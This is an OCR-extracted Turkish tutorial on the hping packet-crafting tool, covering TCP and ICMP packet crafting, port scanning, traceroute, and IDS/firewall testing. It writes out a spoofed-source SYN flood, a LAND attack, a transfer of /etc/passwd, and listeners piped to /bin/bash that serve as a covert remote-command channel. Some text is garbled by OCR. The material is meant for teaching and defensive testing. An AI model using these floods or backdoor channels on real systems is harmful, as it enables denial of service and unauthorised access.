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Hping Nedir?

Hping, istenilen tirde TCP/IP paketleri olusturmak igin kullanilan harikulade bir aractir.
Olusturulacak paketlerde tim alanlari kendimize 6zgl belirlenebilmesi, dinleme modu ile
hostlara arasi dosya transferi ve komut calistirma 6zelligi(Truva ati?), IDS/IPS testleri igin
6zel veri alani belirtilebilmesi(ids imzalarinin testi) gibi ileri diizey 6zelliklere sahiptir.

Hping'i tim ozellikleri ile efektif kullanabilmek , ¢iktilarini yorumlamak igin orta diizey TCP/IP
bilgisi gerekir. Klasik otomatize araglardan farkli olarak hping ile tamamen kendi
olusturdugunuz (tcp/ip bilgisi burada ise yariyor) paketleri aga gonderirsiniz. Mesela XMAS
Scan igin nmap’de nmap -SX komutu verilirken hping’de XMAS scanin ne oldugunu, hangi
TCP bayraklari ile gergeklestirildigini bilmeniz ve ona gére parametreleri olusturmaniz
gerekir (hping —FUP hedef_sistem)

Nasil Edinebilirim?

Hping Linux/UNIX/Windows sistemler lzerinde sorunsuzca kullanilabilir ve kullanim igin
herhangi bir Gcret istenmemektedir.

Hping.org adresinden indirecediniz kaynak kodlari sisteminizde derleyerek hping'i
kullanmaya baslayabilirsiniz(

Kurulum igin kaynak koddan derleme yerine kullandiginiz Linux dagitimlarinin paket yénetim
sistemleri de kullanilabilir

#yum install hping3 / Fedora icin
#apt-get install hping3 / Debian icin

Ayni sitede Windows sistemler igin hazir kurulum paketleri de bulunmaktadir.

www.hping.org ‘danindirdiginiz paketlerde problem yasarsaniz

http://downloads.sourceforge.net/sectools/hping2.win32.tar.gz?modtime=1163676368&big
mirror=0 adresindeki sirimi denemenizi tavsiye ederim..

Temel Hping Kullanimi
Hping kullanarak ilk paketimizi génderelim.

Ontanimli olarak hping icmp yerine TCP paketlerini kullanir. Bos(herhangi bir bayrak set
edilmemis) bir tcp paketini hedef sistemin 0 portuna gdénderir.



Varsayilan durumda TCP paketleri tretir fakat kabiliyeti sadece bunla sinirl degildir. Istenirse
tamamen 6zellestirilebilen Raw IP paketleri, icmp ve udp paketleri de olusturulabilir.

Hping Calisma Modlari

-0 --rawip Raw ip paketleri kullanmak icin
-1 --icmp Icmp Paketi olusturmak igin.

=2 --udp UDP Paketleri olusturmak igin.
-8 =scan Klasik Tarama modu.

-9 -listen Dinleme modu

TCP Paketleri ile Oynamak

Bir TCP paketinde hangi alanlar vardir, dncelikle buna biraz dedinelim sonra hping ile tcp
basligindaki alanlar ile oynayarak neler yapabiliyoruz gérelim.

Bits 0 34 910 1516 kil

Source port number ‘ Destination port number

Sequence number

Acknowledgment number

Data

offset Reserved

Flags Window

Source port: 1168 (1168)

pestination port: 80 (800

Sequence number: O (relative seguence number)
Header Tength: 28 bytes

e ——— = Congestion window Reduced (CwR): NOT set
ECH-Echo: Not set
Urgent: Kot set
acknowladgment: Not set
Push: NOT set

[ ¥ REset: MOt set TCP Basligi
[T =syn: set ]
....... 0 = Fin: NOot set

window size: 16384
Bl Ehecksum: 0xca%9 [carrect]

[=3
nononou

Checksum Urgent pointer

Options Padding

[Good checksum: True]
[Bad checksum: False]
Bl
Maximum segment size: 1460 hytes
HOP
NOP



TCP oturumunda en 6énemli bilesen bayrak(flags)lardir. Oturumun kurulmasi, veri aktarimi,
baglantinin koparilmasi vb gibi iglerin tamami bu bayraklar araciligi ile yapilir.
Inceleyecegimiz diger protokollerde(IP, ICMP, UDP) bayrak tanimi yoktur.

Ilk olusturacagimiz paket her TCP oturumunun kurulmasinda ilk adimi olusturan SYN
bayrakli bir paket . Hping’e -S parametresi vererek SYN bayrakli paketler gonderebiliriz.

-c parametresi ile kullanilmazsa hping durdurulana kadar(CTRL”c) paket gondermeye
devam eder, -c ile kag adet paket gonderecegi belirtilir.

RST Bayrakh TCP paketleri olusturmak

Benzer sekilde —-R yerine diger TCP bayrak tipleri konularak istenilen tlirde TCP paketi
olusturulabilir.

Port Belirtimi

-p parametresi kullanilarak hedef sisteme goénderilen paketlerin hangi porta gidecedi
belirtilir. Default olarak bu deder 0 dir.

-s parametresi ile kaynak TCP portu degistirilebilir, 6ntaniml olarak bu deder rastgele atanir.



1000. porta RST, FIN, PUSH ve SYN bayraklari set edilmis paket gonderimi

Hedef sisteme gelen paketler tcpdump ile izlenecek olursa génderdigimiz paketleri aynen
gorariz.

Hping taramalarinin IDS'ler tarafindan yakalanmasi.

Biraz 6nce hping'in hedef sistemin 0. portuna null tcp paketi gonderdigini séylemistik,
saldirgan hping'i default degerlerle kullaniyorsa bu bilgiler i1sigina ids sistemimizde bunu imza
olarak tanitarak(muhtemelen tanimhidir) hping taramalarini yakalayabiliriz.

ICMP Paketleri ile Oynamak

Hping o6ntaniml olarak TCP paketlleri olusturur, baska tir paketler(udp, icmp) istenirse
komut satirindan —-icmp ,--udp seklinde belirtiimelidir.



#H Frame 1 (74 bytes on wire, 74 bytes captured)
# Ethernet II, Src: Intel_38:6e:45 (00:1%9:d2:38:6e:45), Dst: Paradigm_22:30::
+ Internet Protocol, Src: 192.168.1.3 (192.168.1.30, Dst: 192.168.1.1 (1592.1¢
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: O
Checksum: 0x485c [correct]
Identifier: 0x0400
Sequence number: 256 (0x0100)
Data (32 bytes)

ICMP
Basligi

pooo 00 13 &4 22 39 3F 00 19 d2 38 g2 45 08 00 45 00 L dUETL L UE
polo 00 3c 37 F5 00 00 B0 01 Ff F7 <0 al 01 05 <O ajg AR
po2o 01 01

Klasik ping paketi(icmp echo request) olusturmak

# hping --icmp 192.168.1.1 -c 1
HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.1.1 ttI=255 id=25683 icmp_seq=0 rtt=2.6 ms

--- 192.168.1.1 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 2.6/2.6/2.6 ms

ICMP paketlerinde TCP ve UDP’deki gibi port dederi yoktur, bunlara benzer olarak icmp type
ve icmp code dederleri vardir. Bir ICMP paketinin ne ise yaradigi bu dederlerle belirlenir. Bazi
icmp type dederleri ek olarak icmp code dederine de sahiptir.

Mesela
Icmp type 3 mesaji Destination Unreachable

Manasina gelmektedir fakat hedef ulasilamaz mesaji da farkl anlamlar igerebilir iste burada
icmp code dederi devreye girerek hangi kodun aslinda ne manaya geldigini soyler.

0 Net Unreachable
1 Host Unreachable
Protocol Unreachable
Port Unreachable
Fragmentation Needed and Don't Fragment was Set
Source Route Failed
Destination Network Unknown
Destination Host Unknown
Source Host Isolated
Communication with Destination Network is
Administratively Prohibited
10 Communication with Destination Host is
Administratively Prohibited
11 Destination Network Unreachable for Type of Service
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12 Destination Host Unreachable for Type of Service

13 Communication Administratively Prohibited [REC 1812]
14 Host Precedence Violation [REC 1812]

15 Precedence cutoff in effect [REC 1812]

Ornek:

Tcpdump ciktisindan gortlecedi gibi hedef sistemde agik olmayan bir porta gonderilen pakete
ICMP port unreachable cevabi déniyor.

*Wireshark kullanarak daha detayli cikti alabiliriz.



7! (Untitled) - wireshark =& x|

File Edit Wew Go Capture Analyze Statistics  Help

S W e ee Pl xne BevoFe|E @acan | @nE x|
Eiter: | > B, G SwEy

Current Wireless Interface:None| a0z, 11 Chanmel: l— - | FCSFi\ter:l— w7 ‘Decryption Mode:lm - | Wireless Settings...  Decryption Keys... ‘
Mo, - |T|me |Source |Dest|nat|0n |Prot0c0\ |Inf0 |d

152.168.1.4

0. 000000

152.16 ucpP Source port: 2471 Destination port: rsc
1 1]

s0[mMalformed Packet]
Destination unreachable (Port unreachable)

2

Frame 2 (70 bytes on wire, 70 bytes captured)
Ethernet II, Src: Intel_38:6e:45 (00:19:d2:38:62:45), Dst: vmware_43:1d:d5 (00:0c:29:43:1d:d50
Internet Protocol, sSrc: 182.168.1.3 (192.168.1.3), Dst: 192.168.1.4 (192.168.1.4)
Internet Control Message Protocol
Typ ERN tination unreachable)
Code: 3 (Port unreachahle)
Checksum: 0x806e [correct]
F Internet Protocol, Src: 192.168.1.4 (192.168.1.40, Dst: 192.168.1.3 (192.168.1.3)
# User Datagram Protocol, Src Port: 2471 (24710, Dst Port: rscs0 (100000

0 H &

0000 00 0c 29 43 1d d5 00 19 dZ 38 62 45 08 00 45 00 ..JC.... .BnE..E.

0010 00 38 13 57 00 00 80 01 a4 16 cO a8 01 03 cO a8 oEElBane Soooaons

0020 01 04 [ 03 80 e 00 00 00 00 45 00 00 1c 24 Zc ..K.n.. E...§,

0030 00 00 40 11 d3 4d co a8 0l 04 c0 a8 01 03 09 av LML L

0040 27 10 00 08 4b <f 000l

Type (icrmp.type), 1 byte P 2D 2M: 0 Drops: O 4

Cevabin type 3 code 3 oldugu gozikuayor.

Tam icmp type/code dederlerine http://www.iana.org/assignments/icmp-parameters
adresinden ulasilabilir.

ICMP tipi ve kodu belirtmek igin kullanilan parametreler.
-C --icmptype type
-K --icmpcode code

icmp paket olustururken kullanilabilecek diger secenekler icin man sayfasi incelenebilir.

Port Tarama araci olarak Hping



++port_numarasi kullanarak her seferinde port numarasinin bir artmasini sagladik. Dénen
cevaplardan portlarin durumu hakkinda bilgi alinabilir. D6nen cevap SA ise port acik
demektir, RA ise kapalidir.

SYN Tarama Incelemesi

I) Hping hedef sisteme SYN bayrakli paket génderir.

II) Hedef sistem SYN bayrakli paketi alir ve uygun TCP paketini (SYN/ACK bayrakli ) cevap
olarak ddner.

III) Paket génderen (hping calistiran ) taraftaki isletim sistemi boyle bir paket beklemedigi
icin dénen SYN/ACK bayrakli TCP paketine RST cevabi déner.

Daha diizenli cikti almak igin --scan parametresi kullanilabilir.



Benzer sekilde -S ‘i degistirerek cogu port tarama programina ait tarama yontemlerini hping
ile gergekleyebiliriz.

SYN Scan/FIN Scan/Null Scan/Xmas Tarama Cesitleri
Xmas Scan Ornegi

Bu tarama tipinde amag hedef sisteme FIN/JURG/PSH bayraklar set edilmis TCP paketleri
gbndererek

Kapali sistemler icin RST/ACK

Acik sistemler icin cevap donmemesini beklemektir.
Hping ile XMAS tarama

#hping —FUP hedef_sistem -p 80

FIN Scan Ornegi



Traceroute Araci olarak Hping
Hping cesitli protokolleri(ICMP, UDP, TCP) kullanarak Traceroute islevi gérebilir.

TCP kullanarak traceroute

-t ile ilk paketin hangi TTL dederi ile baslayacadi belirtilir. -z ile TTL dederini istedigimiz
zaman Ctrl ~z tus fonksiyonlari ile arttirabiliriz.




-p ile port numarasi belirtilir, herhangi bir port numarasi belirledikten sonra tarama
esnasinda CTRL”z tusuna basarak her pakette port numarasinin bir arttirilmasini
saglayabiliriz.

Giivenlik Duvari (Firewall) Testleri

Firewall Performans Testleri (D/DOS Saldirisi Olusturmak)

D/DOS saldirilarinda amag olabildigince fazla sayida ve olabildigince farkl kaynaktan hedef
sisteme paketler géndererek kapasitesini doldurmasini ve yeni baglanti kabul etmemesini
saglamaktir.

Bunun icin genellikle udp protokol kullanilir fakat SYN bayragi set edilmis ve kaynak ip
adresi random oalrak atanmig binlerce paket géndererek hedef sistemin kapasitesi
zorlanabilir. Istenirse gonderilen paketler icerisinde belirli boyutlarda data da ilave edilebilir.

# hping -S --rand-source 192.168.1.3 -p 445 -I ethO --flood

HPING 192.168.1.3 (eth0 192.168.1.3): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
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CPU Usage CPU Usage History

% 10’larda seyreden CPU’'nun dos atadi ile birlikte artan yukda..

LAND Atagi

LAND ataginda amag hedef sisteme kendi ip adresinden geliyormis gibi paketler géndererek
kisir donglye girmesini saglamaktir. WinNT sistemlerde oldukga basarili olan bu atak tird
glinimuzdeki gogu sistemde calismaz.

Atadin nasil calistigini daha iyi anlamak ve izlemek igin hping ile asagidaki komutu calistirip
Windows sistemde durumu izleyin.

#hping -a 192.168.1.4 192.168.1.4 -S -p 22 --flood
HPING 192.168.1.4 (eth0 192.168.1.4): S set, 40 headers + 0 data bytes

--- 192.168.1.4 hping statistic ---
10 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Yapilan ataga karsi IDS’e diisen loglar




Hedef Sistem Hakkinda Bilgi Edinmek

Sequence numarasi tahmini

Hedef Sistemin Uptime Siiresi Belirleme



NOT-I: Windows XP SP2’lerle birlikte glivenlik amacli* timestamp sorgularina cevap
dénmez.

NOT-II : Cisco Routerlarda timestamp’i asagidaki sekilde aktif/pasif hale getirebiliriz
ip tcp timestamp  -> aktif hale getirmek igin
no ip tcp timestamp
IDS/IPS Testlerinde Hping Kullanimi
Hping’in default kullaniminda IDS’e diisen loga bakacak olursak nasil bir trafik olusturdugu

daha rahat anlasilabilir. Ozel bir kural yazarak hedef sistemin 0/TCP portuna gelen istekler
igin Hping taramasi uyarisi yazdirabiliriz.

Ornek IDS giktisi;

FARFKAANKX Seq: Ox3D69F7AB Ack: 0x41DBBD11 Win: 0x200 Tcplen: 20

Hazirladigimiz bir exploit icerigini IDS kurallarini test etmek igin kullanalim
# more exptest

GET /scripts/sixweb.dll/view?name=mainpage HTTP/1.0



bt exploits # hping -P 192.168.1.3 -d 100 -p 80 -E exptest -c 1

HPING 192.168.1.3 (eth0 192.168.1.3): P set, 40 headers + 100 data bytes

[main] memlockall(): Success

Warning: can't disable memory paging!

len=46 ip=192.168.1.3 ttI=128 id=46608 sport=80 flags=RA seq=0 win=0 rtt=39.0 ms

--- 192.168.1.3 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 39.0/39.0/39.0 ms

-E ile belirtilen dosyanin igerigi hedef sisteme goénderilir.

T2 {Untitled) - Wireshark == x|
File Edit Wew Go Capture Analyze Statistics  Help
O S I BEx %« &8 B ¢« % » F & EE& & Qb @ ¥ & x|
Filter: | *  Expression... Clear Apply
Gurrent Wireless Interface:None| a0, 11 Channel: I - | FE5 Fi\ter:l hd ‘Decryption Mode: |Mone - | ‘Wireless Settings. .. Decryption Keys... ‘
Mo, - | Diaskination | Prokocol | Info |d
152, o HTTP  Continuation orf non-HTTP tr
TCP 80 > 2514 [RS CK] seq=3% 100 Win=0 Len=0 J
HTTP —H
LL.3 TCF 0 win=0 Len=0
4 HTTR —H
3 TCF ] 0 win=0 Len=0 j

# Frame 8 (154 bytes on wire, 154 hytes captured)

Ethernet II, src: wmware_43:1d:d5 (00:0c:29:43:1d:d5), Dst: Intel_38:6e:45 (00:19:d2:38:6e:45)

Internet Protocol, Src: 192.168.1.4 (192.168.1.4), Dst: 192.168.1.3 (192.163.1.3)

Transmission Control Protocol, Src Port: 2513 (2515), Dst Port: 80 (80), seq: 0, Len: 100

= Hypertext Transfer Protocol
Data (100 bytes]

0000 00 19 dZ 58 ge 45 00 OC
0010 00 Sc 0d 7a 00 00 40 06
0020 01 03 09 d3 00 50 36 ds 3h Oc

02 00 1c ce 45

25 45 1d
29 Ba co

Data {data), 100 bytes P21 D¢ 21 M: 0 Drops: O v

Asadidaki gibi bir Snort kuralimiz olsun



Yapilan Taramalar IDS ile izleme/EngeIIeme

Mesela saldirganin XMAS Scan yaptidini distinelim. Eder IDS sisteminiz diizglin
yapilandirilmissa bu saldir tipini rahatlikla taniyacaktir.

Snort’a disen loglar



Hping ile Dosya Transferi

Evet yanlis duymadiniz! Hping ile ayni Netcat kullanir gibi iki host arasinda dosya transferi
yapabiliriz.

Mesela bir hosttan digerine /etc/group dosyasini génderelim.

Arada gegen trafige ait Tcpdump ciktisi




Ayni 6rnegi TCP protokoll Uzerinden deneyelim.

A Sistemi

# hping --listen huzeyfe -n -p 22 >aliveli
Warning: Unable to guess the output interface
hping2 listen mode

[main] memlockall(): Success

Warning: can't disable memory paging!

--- hping statistic ---
0 packets tramitted, 0 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

B Sistemi

Hping ile gelen verileri aliveli dosyasina kaydetmistik. Transferimiz saglikh gerceklestiyse A
sisteminde passwd dosyasi ile B sistemindeki aliveli dosyasi ayni olmali

Ayni islemi kapali bir port lizerinden de deneyebiliriz.



A Sistemi

B Sistemi

Dikkatinizi gekecek olursa dosya transferi esnasinda F bayrakl paket gonderiyoruz.
Isletim sistemi dogal olarak bu pakete RST cevabi donecektir fakat dinlemede olan
hping veriyi alip kaydeder

Tekrar A sistemine gecgelim



Dosya aktarimi basari ile tamamlanmis.

Dosya transferini daha glvenilir yapilabilmesi icin -B / --safe parametresi kullanilabilir. Bu
parametre ile arada kaybolan veri pargalar tekrar gonderilir ve dosyanin butinlagi salanmis

olur.

Hping ile uzak sistemlerde komut galistirma

A Sistemi / dinlemede olan taraf

B Sistemi

Tekrar A sisteminde bakilacak olursa /tmp dizininde hping_irc dosyasi

# Is -1 /tmp/
ICE-unix/ .X0-lock X11-unix/ hping_.irc kde-root/ ksocket-root/ ssh-

FlyhC11436/

UDP lizerinden komut galistirma



Bir onceki 6rnekte TCP kullanmistik burada da UDP kullanarak ayni 6rnegi tekrarlayalim.
A Sistemi

#hping --listen gizli_kanal -n --udp -p 68 |/bin/bash
Warning: Unable to guess the output interface

hping?2 listen mode

[main] memlockall(): Success

Warning: can't disable memory paging!

B Sistemi

#nc -u 127.0.0.1 68 -v
localhost [127.0.0.1] 68 (bootpc) open
gizli_kanal mkdir /tmp/yeni

Kapali porta veri gondererek Komut Calistirma

Benzer sekilde kapali bir porta istedigimiz tirden veri gondererek de sistemde komut
calistiriimasi saglanabilir. Nasil mi?

Acik porta netcat ya da benzeri bir uygulama ile baglanarak karsilama banneri sonrasi komut
gonderebiliyorduk fakat kapali port igin bodyle bir segenedimiz yok. Zira daha TCP baglantisi
kurulmadan hedef porttan RST cevabi dénecektir.

Biraz UNIX bilgisi ve hping kullanarak bu isi de halledebiliriz. Hatirlayacak olursak hping -E
ile dosya gonderebiliyorduk ve karsi tarafta gelen bu dosyanin icerigini > ile yonlendirerek
kaydediyorduk. Yine hping —E dosya_ismi komutu ile dosyamizi hedef (kapali)porta
g6nderecegiz ve dosyamizin icerisine calistirmak istedigimiz komutu/lan yazacagiz.

Hedef sistemde de gelen veriyi > ile dedil de | ile istedigimiz bir shell’e yénlendirecegiz .
Boylece istemciden génderdigimiz dosyanin icerisinde ne yaziyorsa sunucu tarafta calisacak.

B Sistemi

Kapali bir TCP portu bularak hping’e o porta gelen paketleri dinlemesi ve giktilarini
/bin/bash’e gbndermesini séyleyelim.

# hping --listen safeme -p 5555 -n | /bin/bash
Warning: Unable to guess the output interface
hping2 listen mode

[main] memlockall(): Success

Warning: can't disable memory paging!

A Sistemi
Hedef sisteme géndermek istedigimiz komut/lar bir dosya icerisine kaydedelim.

#echo “touch /tmp/kapali_porta_geldim” > komut_dosyasi



Ve hedef sisteme gdnderelim.

# hping --sign safeme -d 50 -E komut_dosyasi -p 5555 192.168.1.5 -n-c 1
HPING 192.168.1.5 (eth0 192.168.1.5): NO FLAGS are set, 40 headers + 50 data bytes
[main] memlockall(): Success

Warning: can't disable memory paging!

len=40 ip=192.168.1.5 ttI=64 DF id=0 sport=5555 flags=RA seq=0 win=0 rtt=0.2 ms

A sisteminden hping’i calistirdiktan sonra /tmp dizinine tekrar bakalim ve génderdigimiz
komutun calistigini dogrulayalim.

#1s /tmp/
hping_irc kapali_porta_geldim kde-root/ ksocket-root/ ssh-FlyhC11436/ yeni/

Hping hakkinda daha detayl bilgi icin man hping3



